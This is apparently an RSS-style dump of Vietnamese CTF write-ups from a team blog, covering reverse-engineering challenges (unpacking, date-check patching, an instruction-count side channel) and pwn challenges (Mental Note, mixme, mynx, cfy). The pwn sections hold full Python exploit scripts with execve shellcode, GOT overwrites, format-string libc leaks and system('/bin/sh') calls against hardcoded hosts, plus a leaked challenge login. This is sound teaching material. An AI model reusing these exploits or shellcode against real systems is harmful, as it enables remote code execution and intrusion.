    int v8; // ebx@9
    HANDLE v9; // eax@9
    void *v10; // esi@9
    unsigned int v11; // eax@10
    HANDLE v12; // eax@12
    int v13; // ebx@12
    SIZE_T v14; // [sp+0h] [bp-28h]@1
    int v15; // [sp+4h] [bp-24h]@14
    int v16; // [sp+8h] [bp-20h]@14
    int v17; // [sp+Ch] [bp-1Ch]@14
    int v18; // [sp+10h] [bp-18h]@14
    int v19; // [sp+14h] [bp-14h]@14
    SIZE_T v20; // [sp+18h] [bp-10h]@14
    int v21; // [sp+1Ch] [bp-Ch]@14
    int v22; // [sp+20h] [bp-8h]@14
    int v23; // [sp+24h] [bp-4h]@14

    result = GetModuleHandleW(0);
    MZ_header = result;
    v14 = (SIZE_T)result;
    if ( result )
    {
        result = (void *)'ZM';
        if ( *(_WORD *)MZ_header == 'ZM' )
        {
            result = (char *)MZ_header + *((_DWORD *)MZ_header + 15);
            if ( *(_DWORD *)result == 'EP' )
            {
                v2 = *((_WORD *)result + 10);
                v3 = *((_WORD *)result + 3);
                v4 = 0;
                v5 = (int)((char *)result + v2 + 24);
                if ( v3 > 0 )
                {
                    v6 = (char *)result + v2 + 24;
                    while ( 1 )
                    {
                        result = (void *)strcmp(v6, ".reloc");
                        if ( !result )
                            break;
                        ++v4;
                        v6 += 40;
                        if ( v4 >= v3 )
                            return result;
                    }
                    v7 = *(_DWORD *)(v5 + 40 * v4 + 16);
                    v8 = v5 + 40 * v4;
                    v9 = GetProcessHeap();
                    result = HeapAlloc(v9, 8u, v7 + 1);
                    v10 = result;
                    if ( result )
                    {                                           // malloc, copy hex sang cho malloc 6600
                        unknown_libname_41(result, v14 + *(_DWORD *)(v8 + 12), *(_DWORD *)(v8 + 16));
                        v11 = 0;
                        if ( v7 )
                        {
                            do
                                *((_BYTE *)v10 + v11++) ^= 0x11u;
                            while ( v11 < v7 );
                        }
                        v14 = *(_DWORD *)v10;
                        v12 = GetProcessHeap();
                        result = HeapAlloc(v12, 8u, v14);
                        v13 = (int)result;
                        if ( result )
                        {
                            result = (void *)sub_406660((int)((char *)v10 + 4), (int)result, v7 - 4, (int)&v14);
                            if ( !result )
                            {
                                v18 = 0;
                                v15 = 0;
                                v16 = 0;
                                v17 = 0;
                                v21 = 0;
                                v22 = 0;
                                v23 = 0;
                                v20 = v14;
                                v19 = v13;
                                LOBYTE(v18) = 1;
                                sub_401B60((int)&v15);
                                ExitProcess(1u);
                            }
                        }
                    }
                }
            }
        }
    }
    return result;
}

đầu tiên nó gọi hàm getModuleHandle để tìm base address của MZ Header
sau đó check MZ signature và PE signature ::for sure::

upx_3

find session .alloc

upx_4upx_6

var A = heapalloc(0x6600)

đến đoạn unknown_libname_41 này vì mình rất ghét cái gì cứ dấu giếm, và 1 phần nhác trỗi dậy. function thông thường của mscrt thôi nên xem các tham số truyền vô và kết quả trả về để đoán vậy (memcpy)

memcpy(0x41b00, A, 0x6600)
for i in range(0x6600):
	A[i] ^= 0x11

*một đoạn memory khá dài, lại còn bị mã hóa nữa. không thể nào là flag cipher được? Có lẽ nào là shellcode?

new_size = *(dword*)A = 0xbe00
var B = heapalloc(new_size)
sub_406660( &new_size ) => copy MZ_Header -> đến B, size = 0xbe00

upx_5

Từ đây ta nhảy vào sub func cuối là sub_401b60

Check các sub phụ, để ý các string mình thấy rất là liên quan

[+] Mapping PE file
[+] Creating Map View of File
[+] Map View of File created
[+] Checking for self relocation
[+] MyBase, MySize ?!?
[+] Jumping to relocated image
[+] Processing IAT
[+] Loading Library and processing
[+] Fixing Image Base address in PEB
[+] Executing Entry Point !!!

và 1 số function khá vãi

- CreateFileMappingW
- MapViewOfFile
- VirtualAlloc
- GetProcAddress
- VirtualQuery
- LoadLibraryA
- VirtualProtect

oke, tít đi ít! run shellcode chắc roài ::bem::

ta đặt breakpoint ở ngay các sub con và run lần lượt đến khi nào shell được chạy thì phát hiện điểm G

upx_7

sub_401b60 -> sub_401600 -> call eax
new entry point =  08001563

sài HxD (hex editor) view ram process upx.exe tại địa chỉ đó thì thấy nguyên session từ 0x08000000 -> 0x0800FFFF là 1 file PE mới,

search string thì thấy có dòng "You didn't ask nicely" và đặc biệt là "-pl34se-give-me-th3-k3y" :-ss

tới đây các bạn có thể extract ra 1 file exe mới và disass nghiên cứu (ko chắc là sẽ chạy đc ok), còn mình thì thấy nó có dạng 1 file ms c++ nữa nên so sánh structure với cái PE gốc để tìm addr winMain

địa chỉ 0x08001100

quá trình dịch cũng tương tự, bài mới này cũng không quá khó.

st = command_line_string
st[len(st)-1] = \x00

if st[len(st)]==\x20:
	if !strcmp(st, "-pl34se-give-me-th3-k3y"):
		func_flag()
		exit()
msgbox("You not nicely");

patch luôn cho lẹ, patch luôn chỗ strcmp và trong func_flag (0x08001000) có 1 chỗ gọi isDebuggerPresent (0x08001024)

upx_8

upx_9

Done.

----------------------------------------------------------------------------------

RE 400 - fin64

ubt64@ubt64-vb:/media/sf_Desktop/nullcon/re/fin64$ file fin64
fin64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=0x9b62a9678a30ce6c576131024148154a0bc5575d, stripped

khi chạy và thử nhiều cách input, đều có kết quả "Not yet.."

ubt64@ubt64-vb:/media/sf_Desktop/nullcon/re/fin64$ ./fin64
Not yet..

main khá ngắn, ta dịch lần lượt
để ý, có 2 cái good_boy và bad_boy trong hình

fin64_1

đầu tiên là func_systime
gọi syscall 0xc9 để lấy timestamp sao đó lưu giá trị vào [rbp-18h]

fin64_2

func_ctime - convert timestamp thành giá trị giây:phút:giờ:ngày:tháng:năm => lưu vào [rbp-10h]

fin64_3

dừng ở đây, jump ngược từ good_boy và bad_boy ta thấy có đoạn sử dụng [rbp-10h]

fin64_4

nếu [rbp-10h] ở không bị thay đổi thì đoạn code pseudo ntn:

[rbp-24h] = [dw_time+16]+1 = tháng
[rbp-20h] = [dw_time+12] = ngày
[rbp-1ch] = [dw_time+20] + 1900 = năm
if ( [rbp-24h] == 9 && [rbp-20h] == 10 && [rbp-1ch] == 2011 )
	good_boy
else
	bad_boy

thử đặt lại time là 10/9/2011 và run => still failed :wth:

giờ ta jump back từ đoạn compare trên đến ngay sau chỗ convert, patch những đoạn jump để bypass khoảng ở giữa và chạy lại 1 lần nữa

$ ./fin64
Oops..

Good bj, mình đoán flag nằm trong memory, thử trace dần vào good_boy

thì phát hiện ra cái này *byte_6c2070

fin64_5

next-challenge

--------------------------------------------------------------------------------------

RE 500 - cso

bài này thực sự không biết nên viết writeup như thế nào vì công nhận là nó khá bựa và cách làm cũng ngẫu hứng vãi nhái :3

sau hồi dịch mình chả biết nó là cái giống gì, có vẻ giống virtual machine nhưng cũng ko giống lắm =)), đại khái nó như này:

main:
	print(Bla bla bla)
	gets(st) #main input
	len_st = strlen(st)
	super = 0x24ae5af1 #first magic hex
	while True:
		A: 
			if super-a1>0: jump b1
		B: 
			if super-a2>0: jump b2
		C: 
			if super-a3>0: jump b3
		...
		V: 
			if super-an>0: jump bn
		X:
			super = a(n+1)
		Y:
			super = a(n+2)
		...
		Z:
			super = am
		quit:
			break
		dead: 
			puts("You are dead man")
			super = super_to_quit
			continue
		win: 
			puts("You are safe and live forever")
			super = super_to_quit
			continue
		check_len: 
			if len_st==0x1A: 
				super = super_to_stage2
			else:
				super = super_to_dead
			continue
		stage_2:
			#func_stage2 ở địa chỉ 0x00400ec0
			if func_stage2(st)==1: 
				super = super_to_win
			else:
				super=super_to_dead
			continue

#mấy số a1, a2, ...an, a(n+1), ... , am là magic const, ko biết có quy luật gì những mà nó đc build để tính toán hợp lí
#các jump b1, b2, b3, ... bn là nhãn của một trong mấy thằng A,B,C,...V, quit, dead, win, check_len, stage_2

			
def stage2(st):
	#cấu trúc đệ quy
	#vòng lặp tương tự main
	#có thêm 1 số sub function phụ

Không biết flag ở chỗ nào luôn, code follow control dựa vào mấy phép cộng của a(i), giờ tìm quy luật cho nó cũng đuối đơ. Có duy nhất 1 cái chắc chắn là len_st = 0x1A = 26 (!!!)

Sau nửa tiếng suy nghĩ, mình thấy khi input với len = 26 và len < 26 thì cảm giác debug lâu hơn. Suy nghĩ: Side channel dựa vào instruction count được không?

$ python -c "print 'a'*26" | ./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ~/Desktop/cso | cat inscount.out 
Count 123368

$ python -c "print 'a'*25" | ./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ~/Desktop/cso | cat inscount.out 
Count 123097

$ python -c "print 'a'*24" | ./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ~/Desktop/cso | cat inscount.out 
Count 123097

Bingo, chuẩn girl mất rồi, side channel bem lần lượt các char

import subprocess
import time

sam = "abcdefghijklmnopqrstuvwxyz"
sam += sam.upper()
sam += "0123456789_!,.{}"

#217826 SRRDRSSRSRRDDSSSRSSDSDDDSS

def insco(fl):
	fl += 'a'*(26-len(fl))
	open('hellyeah','wt').write(fl)
	subprocess.call("./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ../cso < hellyeah", shell=True)
	time.sleep(0.2)
	k = open("inscount.out").read().strip().split(' ')[1]
	print "-----", fl, k
	return int(k)

def dequy(fl):
	if len(fl)==26:
		print fl
		raw_input("<< Another result, enter for the next...")
	else:
		a = insco(fl + 'a')
		#Cho nay sample chi co 1 ki tu trong string "SRD" thoi (manual check), co the set sam = "SRD" side channel nhanh hon
		for c in sam:
			cou = insco(fl + c)
			if cou-a>400: dequy(fl + c)


dequy('')

=> Final SRRDRSSRSRRDDSSSRSSDSDDDSS. Không giống flag cho lắm :-ss

Input test lại vẫn "You are dead man". Wut dafuq, đúng quá rồi còn gì.
Check lại cái inscount thì thấy có sự chênh lệch rất lớn ins.
Có thể là những mini-sub trong stage2 (0x00400ec0)
Kiểm tra lần lượt từng mini-sub đó ta thấy có sub_400BD0 sử dụng biến global(s) chính là string input ban đầu?!?

cso_1

Đặt breakpoint ngay tại đó và input đúng như trên, sau 1 số lần trace thì ...

cso_2
Âu Mai Gót, call cái địa chỉ vừa trả về, không phải run shell thì là run cái gì nữa =))

Chuyển hướng sang disass con shell, tương tự 3 bài rồi

cso_3

move rất nhiều ASCII Char vào memory, ghép lại thì thấy đó là 1 chuỗi base32 😛

Hard time gone 😛

s = "MZWGCZ33NV4V6YZQNVYDINJVL4YTKX3VNYYXC5JTPU"
sam = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"

def tobin(t):
    st = bin(t).replace('0b','')
    st = '0'*(5-len(st)) + st
    return st

k = ''
for i in s:
    t = sam.find(i)
    print i, sam.find(i), tobin(t)
    k += tobin(t)

k = k[0:208]
print hex(int(k,2))[2:].replace('L','').decode('hex')

flag{my_c0mp455_15_un1qu3}

--------------------------------------------------------------------------------------

PWN 400 - Mental Note

bài này về cơ bản khá giống mixme

cấu trúc dữ liệu:

struct note{
	int size;
	note* next_note;
	note* prev_note;
	content[linh động]
}

và array_note[999] lưu địa chỉ con trỏ của mỗi note được thêm

có 3 loại note:

loại 0 : content 100 bytes
loại 1 : content 200 bytes
loại 2 : content 400 bytes

* add-note, người dùng nhập 1 loại note sau đó chương trình malloc 1 lượng bộ nhớ vừa đủ phần header+content size => new_note

new_note được insert vào array_note sau khi đã check-note (dựa vào note header) để tìm id phù hợp.

* edit-note, người dùng nhập id, loại note và read(note-id-content, size=note-type) mà ko check xem note ở id ấy có đúng loại không.
=> nếu note add vào là loại 0 mà khi edit với loại 1/2 thì sẽ overwrite được sang header note khác.

bằng cách này ta sẽ chỉnh phần header của note kế tiếp để khai thác lỗi check-note của add-note function.

Payload:

import socket, time

def send(s, m):
    print "[SEND]", m
    s.send(m)

def recv(s):
    t = s.recv(4096)
    print "[RECV]", t
    return t

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect (( "54.163.248.69",9004 ))

recv(s)
recv(s)

#Add 3 notes, Type 0
for i in range(3):
	send(s, "1\n")
	recv(s)
	send(s, "0\n")
	recv(s)

#Edit note id=2, Type=0, shellcode
send(s, "3\n")
recv(s)
send(s, "2\n")
recv(s)
send(s, "0\n")
recv(s)
#shell
shell = "\x6a\x0f\x58\x83\xe8\x04\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
send(s, "\x90"*20 + shell)
recv(s)

#Edit note id=0, Type=1, overwrite header and change g0t.plt
send(s, "3\n")
recv(s)
send(s, "0\n")
recv(s)
send(s, "1\n")
recv(s)
#magic bytes
send(s, (0x80-12)*'a' + "\x04\xc1\xeb\x0f\x1c\xb0\x04\x08")
recv(s)

#jump to shellcode by function was changed in g0t.plt
send(s, "1\n")
recv(s)
send(s, "0\n")
recv(s)

send(s,"cat flag.txt\n")
recv(s)

#flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}

s.close()

flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3} !!!

So long and deep, go get some sleep :'( . Chim!

]]>
259
[Write Up] Hackim CTF - mixme - PWN5 https://babyphd.net/2015/01/12/write-up-hackim-ctf-mixme-pwn5/ Mon, 12 Jan 2015 05:35:09 +0000 https://babyphd.net/?p=237 Continue reading [Write Up] Hackim CTF - mixme - PWN5 ]]> Đánh giá sơ lược về binary:

~/Sources/CTFs/hackim » file mixme                               peternguyen@peternguyen
mixme: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=b93d20dd523097dd7d53a7fda265a2d977d29c30, stripped

Checksec:

Chương trình có 3 lệnh chính: (store/edit/get)

Phân tích hàm edit

Đựa trên hàm store, mình có thể reverse lại được cấu trúc lưu trữ của chương trình như sau:

struct node{
 char name[16];
 int size;
 char *data;
 struct node *next;
 struct node *prev;
}

size là khích cỡ vùng nhớ được malloc cho data.

Các node được lưu trữ bằng một danh sách double linked list circular

Vùng nhớ tổ chức trong mem như sau (tạo 2 block với data size = 16:

Gồm 3 block: block head được khởi tạo mặc định khi chạy chương trình.

Để ý phần data của block được cấp phát là 1 đoạn đằng sau block, tôi sẽ đề cập sau ở phần khai thác lỗi.

Phân tích hàm edit

Nhập name,và size, hàm sẽ duyệt qua linked list để tìm ra block có tên tương ứng, và cập nhật lại phần data.

Để ý phần sau:

Chương trình đọc từ stdin vào data nbytes, mà nbytes không check length.

Nếu tạo 2 block liền nihau thì, phần tiếp theo phần data của block 1 là block2 nên ta có thể overwrite được cái block 2.

Phân tích hàm get:

Nhập vào tên block và size, tìm ra block tương ứng, in phần data ra màn hình, free vùng data và block, cập nhật lại linked list. Để ý write(1,node->data,n); mình sẽ dùng nó để leak addr

Khai thác lỗi.

Ở đây mình sẽ overwrite địa chỉ data bằng địa chỉ của một hàm trong bảng got bằng cách lợi dụng phần read(0,node->data,node->size)

Để ý hàm free(node->data) nhận input là phần data nhập vào, ý tưởng là overwrite free trong bảng got là system và ta có, system(node->data).

Payload của mình làm theo các bước như sau:

  1. Tạo ra 2 block peter123,lol123 với data size của mỗi block là 16 bytes
  2. edit block peter123: với size 56, 'D'*28 + '\x00' * 16 + 'CCCC', với CCCC => địa chỉ hàm free, sở dĩ mình padd '\x00'*16 byte để làm name của block2 = 'DDDD'.
  3. edit block 2 ('DDDD') với size 4 bytes để ghi đè free trong bảng got ở đây mình ghi đè got bằng địa chỉ của lệnh ret, mục đích là để bypass qua hàm free, vì mình lợi dụng lệnh ret để leak 1 địa chỉ trong bảng GOT.
  4. get block 2('DDDD') minh sẽ leak được 1 địa chỉ trong bảng GOT, từ đó tính được địa chỉ hàm system.
  5. Tạo tiếp 2 block bất kì (b1,b2) với data size của mỗi block là 16 bytes
  6. edit block1('b1') ghi đè địa chỉ data của block 2 bằng địa chỉ free một lần nữa
  7. edit block2() để ghi đè free bằng system.
  8. Tạo ra block 'shell' với phần data='/bin/sh'
  9. get block('shell') và boom đã có được shell

Payload: http://pastebin.com/n2G30Fk4

]]>
237
[Write up] 31C3 mynx https://babyphd.net/2015/01/03/write-up-31c3-mynx/ Sat, 03 Jan 2015 10:01:27 +0000 https://babyphd.net/?p=229 Continue reading [Write up] 31C3 mynx ]]> Đây là một bài khá hay, mình phải mấy mấy tiếng đồng hồ để phân tích code.

Đầu tiên chương trình tổ chức bộ nhớ, cấp phát như sau:

Cấp phát 1 vùng nhớ 0x1000 bytes đầu tiên, và set 4 byte kế tiếp là length <địa chỉ vùng nhớ><độ dài phần tử>(1)

Vùng nhớ 0x1000 bytes này được chia nhỏ ra 16 phần, 1 phần là 256 bytes.

Nếu vùng nhớ 0x1000 bytes này hết , chương trình sẽ tạo 1 vùng nhớ khác tiếp theo như (1)

Cấu trúc của một ascii art được phân bố như sau:

struct ascii_art{
     char tag; // tag của ascii_art có giá trị bằng 'I'
     int id;
     void (*filter)(char* content);
     char content[247];
};

Cấu trúc của một comment được phân bố như sau:

struct comment{
    char tag; // tag có giá trị bằng '7'
    int id;
    char content[251];
}

Xem xét đoạn mã sau:

Sau khi tạo 1 block comment, chương trình đọc vào vùng content với giá trị là 252 bytes (lố 1 byte) dựa vào đây mình sẽ khai thác được lỗi, ghi đè giá trị tag của block kế, biến block comment -> block ascii art, từ đó fake được filterfunc.

đoạn mã trên dùng để trigger bug khi biến block comment -> block ascii art

Các khai thác lỗi:

Tạo 1 block ascii art, tạo 2 block comment cho block ascii 1 , tạo block ascii art 2
+----------------------+
|  Ascii Block 1       |
+----------------------+
|  comment 1(1)        |
+----------------------+
|  comment 2(1)        |
+----------------------+
|  Ascii Block 2       |
+----------------------+

Xóa hết comment block 1, tạo lại comment cho block 1 và block 2, dùng comment block 2, overwrite giá trị tag của Ascii Block 2 thành comment, dùng comment block 1 để overwrite comment block 2 thì Ascii Block 2

+----------------------+
|  Ascii Block 1       |
+----------------------+
|  comment 1(1)        |
+----------------------+
|  comment 1(2)        |
+----------------------+
|  Ascii Block 2       |
+----------------------+

Trạng thái cần đạt được

+--------------------------------+
|  Ascii Block 1                 |
+--------------------------------+
|  comment 1(1)                  |
+--------------------------------+
|  comment 2(1),block 2 fake     |
+--------------------------------+
|  Ascii Block 2, comment 2 fake |
+--------------------------------+

Trigger bug và ta có

Do mình có thể control được filter_func và content, cho nên mình sẽ dùng printf và fmt để leak được địa chỉ __libc_main_start ở trên stack, từ đó tính được địa chỉ của hàm system

Payload:

import socket
from struct import *
import telnetlib

#+------------------+
#|	Ascii Block 1 	|
#+------------------+
#|	comment 1 		|
#+------------------+
#|	comment 2 		|
#+------------------+
#|	Ascii Block 2 	|
#+------------------+

def connect(host,port):
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((host,port))
	return s

def add_ascii_block(s,block):
	s.send('1\n')
	s.recv(1024)
	s.recv(1024)
	s.send('1\n')
	s.recv(1024)
	s.send(block)

def add_comment_block(s,block):
	s.send('1\n')
	s.recv(1024)
	s.send(block)

def select_block_id(s,block_id):
	s.send('3\n') # select
	s.recv(1024)
	s.recv(1024)
	s.send(str(block_id) + '\n')
	s.recv(1024)
	s.recv(1024) # comment menu

def back_to_main_menu(s):
	s.recv(1024)
	s.recv(1024) # comment menu
	s.send('0\n') # back
	s.recv(1024) # main menu
	s.recv(1024)

def leak_mem(s):
	__libc_main = 0
	fmt = '%p'*22 + '%s'
	payload = pack('<I',0x8048420) # printf
	payload+= fmt + 'A'*(0xfb - 4 - len(fmt)) + '7'

	s.recv(1024) # banner
	s.recv(1024) # main menu
	add_ascii_block(s,'A'*0xf6 + '\n') # add ascii block
	s.recv(1024)
	s.recv(1024) # main menu
	select_block_id(s,1)
	add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
	s.recv(1024)
	s.recv(1024) # comment menu
	add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
	back_to_main_menu(s)
	add_ascii_block(s,'B'*0xf6 + '\n')
	s.recv(1024)
	s.recv(1024) # main menu
	select_block_id(s,1)
	s.send('2\n') # remove all comments of block 1
	s.recv(1024)
	s.recv(1024) # comment menu
	add_comment_block(s,'D'*0xfb + '\n') # add comment of block 1
	back_to_main_menu(s)
	# add comment to block 2, change ascii block 2 into comment block 2
	select_block_id(s,2)
	add_comment_block(s,payload)
	back_to_main_menu(s)
	select_block_id(s,1)
	# change 1st comment of block 2 into block 2
	s.send('2\n') # remove all comments of block 1
	s.recv(1024)
	s.recv(1024) # comment menu
	add_comment_block(s,'A'*0xfb + 'I') # mark that comment 1 of block 2 is block 2
	back_to_main_menu(s)
	select_block_id(s,2)
	s.send('3\n') # trigger bug
	d = s.recv(1024)
	if '\xf7' in d:
		index = d.index('\xf7')
		__libc_main = d[index - 3:index + 1]
		__libc_main = unpack('<I',__libc_main)[0]
	s.send('0\n') # back
	s.recv(1024) 
	s.recv(1024) # main menu
	return __libc_main

def exploit():
	s = connect('188.40.18.80',1234)
	__libc_main = leak_mem(s)
	offset = 149824 # Ubuntu 14.10

	if (__libc_main & 0xf7000000) == 0xf7000000:
		system_addr = __libc_main + offset

		cmd = '/bin/sh\x00'

		payload = pack('<I',system_addr)
		payload+= cmd + 'A'*(0xfb - 4 - len(cmd)) + '7'
		print '[!!!] System(): ',hex(system_addr)

		add_ascii_block(s,'A'*0xf6 + '\n') # add ascii block
		s.recv(1024)
		s.recv(1024) # main menu
		select_block_id(s,3)
		add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
		s.recv(1024)
		s.recv(1024) # comment menu
		add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
		back_to_main_menu(s)
		add_ascii_block(s,'B'*0xf6 + '\n')
		s.recv(1024)
		s.recv(1024) # main menu
		select_block_id(s,3)
		s.send('2\n') # remove all comments of block 1
		s.recv(1024)
		s.recv(1024) # comment menu
		add_comment_block(s,'D'*0xfb + '\n') # add comment of block 1
		back_to_main_menu(s)
		# add comment to block 2, change ascii block 2 into comment block 2
		select_block_id(s,4)
		add_comment_block(s,payload) # real payload
		back_to_main_menu(s)
		select_block_id(s,3)
		# change 1st comment of block 2 into block 2
		s.send('2\n') # remove all comments of block 1
		s.recv(1024)
		s.recv(1024) # comment menu
		add_comment_block(s,'A'*0xfb + 'I') # mark that comment 1 of block 2 is block 2
		back_to_main_menu(s)
		select_block_id(s,4)
		s.send('3\n') # trigger bug
		print '[!!!] Shell is comming'
		# interact socket with stdin,stdout
		t = telnetlib.Telnet()
		t.sock = s
		t.interact()

exploit()
]]>
229
[Write Up] 31C3 cfy https://babyphd.net/2015/01/03/write-up-31c3-cfy/ Sat, 03 Jan 2015 10:00:35 +0000 https://babyphd.net/?p=227 Continue reading [Write Up] 31C3 cfy ]]> Chạy chương trình, hiện ra 1 menu:

What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit

Chương trình parse input option vào như sau :

option người dùng nhận vào ở rbp-0xc

 

Kiểm tra giá trị rbp-0xc nếu bằng 3 thì thoát.

Nhận input người dung vào địa chỉ 0x6010e0 dùng option mà người dụng chọn tính ra hàm tương ứng cần gọi (0x601080 lưu địa chỉ các hàm : fromhex,fromdec,fromptr)

rax = (long *)0x601080[$(rbp-c)]; mov rdi,0x6010e0; call eax;

để ý lúc kiểm tra option nhập vào trương trình chỉ kiểm tra đk $(rbp-0xc) != 3 thì sẽ execute đoạn trên. Để ý địa chỉ input lớn hơn địa chỉ lưu trữ các hàm, nếu nhập input > 3 thì ta sẽ có : 0x601080 + $(rbp-0xc)*8 với 1 giá trị x của $(rbp-0xc) thì eax sẽ trỏ tới input của mình và mình có thể kiếm soát đc call eax.

Ngoài ra, hàm fromptr có thể cho phép mình đọc bất kỳ vùng nhớ nào.

Payload sẽ là:

- dùng hàm fromptr để leak địa chỉ 1 hàm trong libc, dự đoán phiên bản libc đang chạy trên server (ở đây là ubuntu 14.10) , có offset từ hàm đó đến system

- sử dụng bug trên để eax=system, và argv = /bin/sh

import socket
from struct import *
import telnetlib
# 116064
# Login: cfy_pwn // 31C3_G0nna_keep<on>grynding
def connect(host,port):
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((host,port))
	return s

def build_payload(system_addr):
	shell = '/bin/sh\x00'
	buff_addr = 0x6010e0
	func_addr = 0x601080

	payload = shell + '\x00'*8
	jmp_offset = 6 + (len(payload) >> 4)
	payload += pack('<Q',system_addr) + '\n'

	return (jmp_offset,payload)

def exploit():
	offset = 179728

	s = connect('188.40.18.73',3313)
	s.recv(1024) # banner
	# leak libc addr
	s.send('2\n')
	s.recv(1024)
	s.send(pack('<Q',0x601018) + '\n') # puts@got
	leak_addr_str = s.recv(1024).split('\n')
	leak_addr = int(leak_addr_str[1].replace('hex: ',''),16)

	system_addr = leak_addr - offset
	print '[+] system():',hex(system_addr)
	jmp_offset,payload = build_payload(system_addr)
	# send payload
	s.recv(1024)
	s.send(str(jmp_offset) + '\n')
	s.recv(1024)
	s.send(payload)

	# interact socket with stdin,stdout
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

exploit()
]]>
227